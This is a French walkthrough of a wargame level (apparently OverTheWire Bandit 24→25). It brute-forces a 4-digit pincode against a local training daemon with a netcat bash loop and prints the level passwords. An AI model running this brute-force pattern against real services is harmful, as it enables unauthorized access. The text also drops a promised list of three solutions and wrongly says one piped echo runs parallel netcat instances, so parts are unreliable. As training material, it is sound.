Niveau 25

Niveau 25

Level Goal

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

Ce niveau est particulièrement ludique et peut être résolu de nombreuses manières, ici nous irons au plus simple en utilisant les outils vus dans les niveaux précédents.

Tout d'abord commençons par envoyer un message sur le port 30002 pour voir une réponse type :

bandit24@bandit:~$ echo 1234 | nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Fail! You did not supply enough data. Try again.

Le programme nous répond qu'il faut également envoyer le mot de passe du niveau en cours, recommençons :

bandit24@bandit:~$ echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 1234 | nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.

Un point de détail important : netcat n'arrête pas la connexion automatiquement après avoir reçu le message, ce qui fait qu'il faut interrompre netcat manuellement avec Ctrl + C. Cela va avoir de l'importance pour la solution de brute force que l'on va implémenter car l'on veut passer directement à l'étape suivant si l'on envoie le mauvais code.

De base netcat offre la possibilité de spécifier un intervalle de temps avant de couper la connexion mais cette méthode présente l'inconvénient majeur de ne pas pouvoir proposer un temps inférieure à 1 seconde. Dans la situation actuelle, cela voudrait dire que dans le pire des cas cela prendrait environ 10000 secondes pour tester tous les codes potentiels, ce qui est beaucoup trop long.

Trois solutions s'offre à nous :

Cette dernière solution pourrait être illustrée de la manière suivante :

echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0001
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0002
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 0003" | nc localhost 30002

Cette commande va gérer le lancement de 3 instances netcat en parallèle, réduisant au maximum le temps d'attente pour un résultat.

Il ne reste donc plus qu'à créer un script qui va générer une chaine de caractères concaténant toutes les hypothèses :

list=""
for i in {0000..9999}
do
    list=$"$list\n UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done
echo -e "$list" | nc localhost 30002 | grep -a -o -E '=*[A-Za-z0-9]{32}'

On peut créer le script sur le serveur en via la commande touch /tmp/solution24.sh, en éditant le contenu de ce fichier avec vim, puis en rajoutant un flag d'exécutable avec chmod +x /tmp/solution24.sh.

Au bout de quelques secondes on obtient :

bandit24@bandit:~$ /tmp/solution24.sh
uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG